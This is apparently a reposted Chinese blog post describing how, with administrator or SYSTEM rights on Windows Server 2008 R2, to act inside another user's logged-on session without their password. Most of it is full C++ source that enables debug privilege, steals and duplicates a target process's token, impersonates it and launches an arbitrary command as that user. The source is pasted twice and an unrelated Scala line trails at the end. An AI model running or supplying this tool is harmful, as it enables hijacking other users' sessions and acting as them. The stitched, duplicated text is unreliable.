终端SESSION 下的攻击
Posted persuit
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了终端SESSION 下的攻击相关的知识,希望对你有一定的参考价值。
使用场景:
一台机器上有两个用户登录会话,想要查看并操作另一个会话但是又没有办法抓到管理员密码
使用权限:
adminitrator 或者system权限
实验环境:
1 : windows 2008 r2 2 : administrator 账户session id = 2 3 : catcher账户session id = 1 4 : 在catcher账户模拟session 2 操作administrator(这里catcher权限太低需要提权)
实验效果:
1:查询会话id以及对应会话运行程序
2:在catcher账户中模拟administrator账户的seesion对adminstrator进行操作(这里catcher账户权限太低,所以做了个提权处理)
总结:
如果做成服务启动的话,administrator权限下就可以获得system权限token,可以对任意session进行模拟。
源码:
#include <iostream>
#include <Cstring>
#include <windows.h>
#include <Wtsapi32.h>
#include <iphlpapi.h>
#include <WinBase.h>
#include <Tchar.h>
#include <Psapi.h>
#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "Wtsapi32.lib")
#pragma comment(lib,"Psapi.lib")
using namespace std;
bool GetSessionDomain(DWORD dwSessionId, char domain[256])
{
LPTSTR pBuffer = NULL;
DWORD dwBufferLen;
BOOL bRet = WTSQuerySessionInformation(
WTS_CURRENT_SERVER_HANDLE,
dwSessionId,
WTSDomainName,
&pBuffer,
&dwBufferLen);
if ( !bRet )
{
printf("WTSQuerySessionInformation Failed!/n");
return false;
}
lstrcpy(domain,pBuffer);
WTSFreeMemory(pBuffer);
return true;
}
bool GetSessionUserName(DWORD dwSessionId, char username[256])
{
LPTSTR pBuffer = NULL;
DWORD dwBufferLen;
BOOL bRet = WTSQuerySessionInformation(
WTS_CURRENT_SERVER_HANDLE,
dwSessionId,
WTSUserName,
&pBuffer,
&dwBufferLen);
if ( !bRet )
{
printf("GetSessionUserName Failed!/n");
return false;
}
lstrcpy(username ,pBuffer);
WTSFreeMemory(pBuffer);
return true;
}
/* 遍历所有session id 函数 */
int EnmumSessionId()
{
WTS_SESSION_INFO *sessionInfo = NULL;
DWORD sessionInfoCount;
char domain[256];
char username[256];
unsigned int userCount = 0;
int num=0;
BOOL bRet = WTSEnumerateSessions(
WTS_CURRENT_SERVER_HANDLE,
0,
1,
&sessionInfo,
&sessionInfoCount);
if ( !bRet )
{
return false;
}
for (int i = 0; i < sessionInfoCount;++i)
{
if( (sessionInfo[i].State == WTSActive) ||
(sessionInfo[i].State == WTSDisconnected) )
{
printf("session %d information:\\n",num++);
printf("\\tsessionInfo.SessionId=%d\\n",sessionInfo[i].SessionId);
GetSessionDomain(sessionInfo[i].SessionId, domain); //获得Session Domain
printf("\\tSession Domain = %s\\n",domain);
GetSessionUserName(sessionInfo[i].SessionId,username);
printf("\\tSession username = %s\\n",username);
}
}
// 获取当前sessionid
DWORD dwSession = WTSGetActiveConsoleSessionId();
printf("[*] Current Active SessionId = %d\\n",dwSession);
// 释放内存
WTSFreeMemory(sessionInfo);
return 0;
}
/* 提升权限函数 */
BOOL EnableProcessPrivilege(LPCTSTR lpszPrivName, BOOL bEnable = TRUE)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
BOOL bRet = FALSE;
bRet = OpenProcessToken(
GetCurrentProcess(),
TOKEN_ALL_ACCESS_P,
&hToken);
if (bRet == FALSE)
{
printf("OpenProcessToken error\\r\\n");
}
bRet = LookupPrivilegeValue(
NULL,
lpszPrivName,
&tkp.Privileges[0].Luid); //修改进程权限
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : SE_PRIVILEGE_REMOVED;
bRet = AdjustTokenPrivileges(
hToken,
FALSE,
&tkp,
0,
(PTOKEN_PRIVILEGES)NULL,
0); //通知系统修改进程权限
bRet = TRUE;
CloseHandle(hToken);
return bRet;
}
int main( int argc,char **argv )
{
HANDLE hTokenDup = NULL;
DWORD dwSessionId = 0;
HANDLE hToken = NULL;
HANDLE hNewToken = NULL;
DWORD dwProcessId = atoi(argv[1]);
/* 提升当前进程权限 */
if ( !EnableProcessPrivilege(SE_DEBUG_NAME, TRUE) ) //SE_DEBUG_NAME
{
printf("[*]:EnableProcessPrivilege failed\\n");
return false;
}
/* 通过pid打开进程 */
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION ,
FALSE,
dwProcessId); // 得到进程句柄
if ( NULL == hProcess )
{
printf("[-]:OpenProcess GetLastError : %d\\n",GetLastError());
CloseHandle(hProcess);
}
/* 获得进程令牌 */
BOOL bRet = OpenProcessToken(
hProcess,
TOKEN_ALL_ACCESS,
&hToken); // 打开进程令牌
if ( FALSE == bRet )
{
printf("[-]:OpenProcessToken GetLastError : %d\\n",GetLastError());
CloseHandle(hToken);
CloseHandle(hProcess);
}
/* 通过pid获取用户session id*/
DWORD dwLength = 0;
DWORD tsi = 0;
if (!GetTokenInformation(
hToken, // handle to the access token
TokenSessionId, // get information about the TokenSessionId
&tsi, // pointer to TokenSessionId buffer
0, // size of buffer
&dwLength // receives required buffer size
))
{
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
{
return false;
}
}
if (!GetTokenInformation(
hToken, // handle to the access token
TokenSessionId, // get information about the TokenSessionId
&tsi, // pointer to TokenSessionId buffer
dwLength, // size of buffer
&dwLength // receives required buffer size
))
{
return false;
}
printf("[*]:Patch sessionId = %d\\n",tsi);
printf("[*]:Patch processId = %d\\n",dwProcessId);
printf("[*]:Enable Process Privilege successful\\n");
/* 复制一个进程令牌,目的是为了修改session id属性,以便在其它session中创建进程 */
BOOL bRes = DuplicateTokenEx(
hToken,
MAXIMUM_ALLOWED,
NULL,
SecurityIdentification,
TokenPrimary,
&hTokenDup);
if ( !bRes )
{
CloseHandle(hTokenDup);
CloseHandle(hToken);
}
if (!ImpersonateLoggedOnUser(hTokenDup))
{
printf("[-]:ImpersonateLoggedOnUser GetLastError: %d\\n",GetLastError());
CloseHandle(hTokenDup);
}
/* 把session id设置到备份的令牌中
BOOL bsRet = SetTokenInformation(
hTokenDup,
TokenSessionId,
&tsi, //&dwSessionId,
sizeof(DWORD));
if ( !bsRet )
{
printf("[-]:SetTokenInformation GetLastError: %d\\n",GetLastError());
CloseHandle(hTokenDup);
CloseHandle(hToken);
}
*/
/* 创建进程*/
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
char path[MAX_PATH];
lstrcpy(path,argv[2]); //参数2
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
BOOL status = CreateProcessAsUser(
hTokenDup, // client\'s access token
NULL, // file to execute
(char *)path, // command line
NULL, // pointer to process SECURITY_ATTRIBUTES
NULL, // pointer to thread SECURITY_ATTRIBUTES
FALSE, // handles are not inheritable
NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT , // creation flags
NULL, // pointer to new environment block
NULL, // name of current directory
&si, // pointer to STARTUPINFO structure
&pi // receives information about new process
);
if ( !status )
{
printf("[-]:CreateProcessAsUser GetLastError:%d\\n",GetLastError());
RevertToSelf();
CloseHandle(hTokenDup);
CloseHandle(hToken);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
printf("[*]:CreateProcess successful\\n");
RevertToSelf();
CloseHandle(hTokenDup);
CloseHandle(hToken);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
#include <Cstring>
#include <windows.h>
#include <Wtsapi32.h>
#include <iphlpapi.h>
#include <WinBase.h>
#include <Tchar.h>
#include <Psapi.h>
#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "Wtsapi32.lib")
#pragma comment(lib,"Psapi.lib")
using namespace std;
bool GetSessionDomain(DWORD dwSessionId, char domain[256])
{
LPTSTR pBuffer = NULL;
DWORD dwBufferLen;
BOOL bRet = WTSQuerySessionInformation(
WTS_CURRENT_SERVER_HANDLE,
dwSessionId,
WTSDomainName,
&pBuffer,
&dwBufferLen);
if ( !bRet )
{
printf("WTSQuerySessionInformation Failed!/n");
return false;
}
lstrcpy(domain,pBuffer);
WTSFreeMemory(pBuffer);
return true;
}
bool GetSessionUserName(DWORD dwSessionId, char username[256])
{
LPTSTR pBuffer = NULL;
DWORD dwBufferLen;
BOOL bRet = WTSQuerySessionInformation(
WTS_CURRENT_SERVER_HANDLE,
dwSessionId,
WTSUserName,
&pBuffer,
&dwBufferLen);
if ( !bRet )
{
printf("GetSessionUserName Failed!/n");
return false;
}
lstrcpy(username ,pBuffer);
WTSFreeMemory(pBuffer);
return true;
}
/* 遍历所有session id 函数 */
int EnmumSessionId()
{
WTS_SESSION_INFO *sessionInfo = NULL;
DWORD sessionInfoCount;
char domain[256];
char username[256];
unsigned int userCount = 0;
int num=0;
BOOL bRet = WTSEnumerateSessions(
WTS_CURRENT_SERVER_HANDLE,
0,
1,
&sessionInfo,
&sessionInfoCount);
if ( !bRet )
{
return false;
}
for (int i = 0; i < sessionInfoCount;++i)
{
if( (sessionInfo[i].State == WTSActive) ||
(sessionInfo[i].State == WTSDisconnected) )
{
printf("session %d information:\\n",num++);
printf("\\tsessionInfo.SessionId=%d\\n",sessionInfo[i].SessionId);
GetSessionDomain(sessionInfo[i].SessionId, domain); //获得Session Domain
printf("\\tSession Domain = %s\\n",domain);
GetSessionUserName(sessionInfo[i].SessionId,username);
printf("\\tSession username = %s\\n",username);
}
}
// 获取当前sessionid
DWORD dwSession = WTSGetActiveConsoleSessionId();
printf("[*] Current Active SessionId = %d\\n",dwSession);
// 释放内存
WTSFreeMemory(sessionInfo);
return 0;
}
/* 提升权限函数 */
BOOL EnableProcessPrivilege(LPCTSTR lpszPrivName, BOOL bEnable = TRUE)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
BOOL bRet = FALSE;
bRet = OpenProcessToken(
GetCurrentProcess(),
TOKEN_ALL_ACCESS_P,
&hToken);
if (bRet == FALSE)
{
printf("OpenProcessToken error\\r\\n");
}
bRet = LookupPrivilegeValue(
NULL,
lpszPrivName,
&tkp.Privileges[0].Luid); //修改进程权限
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : SE_PRIVILEGE_REMOVED;
bRet = AdjustTokenPrivileges(
hToken,
FALSE,
&tkp,
0,
(PTOKEN_PRIVILEGES)NULL,
0); //通知系统修改进程权限
bRet = TRUE;
CloseHandle(hToken);
return bRet;
}
int main( int argc,char **argv )
{
HANDLE hTokenDup = NULL;
DWORD dwSessionId = 0;
HANDLE hToken = NULL;
HANDLE hNewToken = NULL;
DWORD dwProcessId = atoi(argv[1]);
/* 提升当前进程权限 */
if ( !EnableProcessPrivilege(SE_DEBUG_NAME, TRUE) ) //SE_DEBUG_NAME
{
printf("[*]:EnableProcessPrivilege failed\\n");
return false;
}
/* 通过pid打开进程 */
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION ,
FALSE,
dwProcessId); // 得到进程句柄
if ( NULL == hProcess )
{
printf("[-]:OpenProcess GetLastError : %d\\n",GetLastError());
CloseHandle(hProcess);
}
/* 获得进程令牌 */
BOOL bRet = OpenProcessToken(
hProcess,
TOKEN_ALL_ACCESS,
&hToken); // 打开进程令牌
if ( FALSE == bRet )
{
printf("[-]:OpenProcessToken GetLastError : %d\\n",GetLastError());
CloseHandle(hToken);
CloseHandle(hProcess);
}
/* 通过pid获取用户session id*/
DWORD dwLength = 0;
DWORD tsi = 0;
if (!GetTokenInformation(
hToken, // handle to the access token
TokenSessionId, // get information about the TokenSessionId
&tsi, // pointer to TokenSessionId buffer
0, // size of buffer
&dwLength // receives required buffer size
))
{
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
{
return false;
}
}
if (!GetTokenInformation(
hToken, // handle to the access token
TokenSessionId, // get information about the TokenSessionId
&tsi, // pointer to TokenSessionId buffer
dwLength, // size of buffer
&dwLength // receives required buffer size
))
{
return false;
}
printf("[*]:Patch sessionId = %d\\n",tsi);
printf("[*]:Patch processId = %d\\n",dwProcessId);
printf("[*]:Enable Process Privilege successful\\n");
/* 复制一个进程令牌,目的是为了修改session id属性,以便在其它session中创建进程 */
BOOL bRes = DuplicateTokenEx(
hToken,
MAXIMUM_ALLOWED,
NULL,
SecurityIdentification,
TokenPrimary,
&hTokenDup);
if ( !bRes )
{
CloseHandle(hTokenDup);
CloseHandle(hToken);
}
if (!ImpersonateLoggedOnUser(hTokenDup))
{
printf("[-]:ImpersonateLoggedOnUser GetLastError: %d\\n",GetLastError());
CloseHandle(hTokenDup);
}
/* 把session id设置到备份的令牌中
BOOL bsRet = SetTokenInformation(
hTokenDup,
TokenSessionId,
&tsi, //&dwSessionId,
sizeof(DWORD));
if ( !bsRet )
{
printf("[-]:SetTokenInformation GetLastError: %d\\n",GetLastError());
CloseHandle(hTokenDup);
CloseHandle(hToken);
}
*/
/* 创建进程*/
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
char path[MAX_PATH];
lstrcpy(path,argv[2]); //参数2
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
BOOL status = CreateProcessAsUser(
hTokenDup, // client\'s access token
NULL, // file to execute
(char *)path, // command line
NULL, // pointer to process SECURITY_ATTRIBUTES
NULL, // pointer to thread SECURITY_ATTRIBUTES
FALSE, // handles are not inheritable
NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT , // creation flags
NULL, // pointer to new environment block
NULL, // name of current directory
&si, // pointer to STARTUPINFO structure
&pi // receives information about new process
);
if ( !status )
{
printf("[-]:CreateProcessAsUser GetLastError:%d\\n",GetLastError());
RevertToSelf();
CloseHandle(hTokenDup);
CloseHandle(hToken);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
printf("[*]:CreateProcess successful\\n");
RevertToSelf();
CloseHandle(hTokenDup);
CloseHandle(hToken);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
以上是关于终端SESSION 下的攻击的主要内容,如果未能解决你的问题,请参考以下文章
linux打开终端如何启动scala,如何在终端下运行Scala代码片段?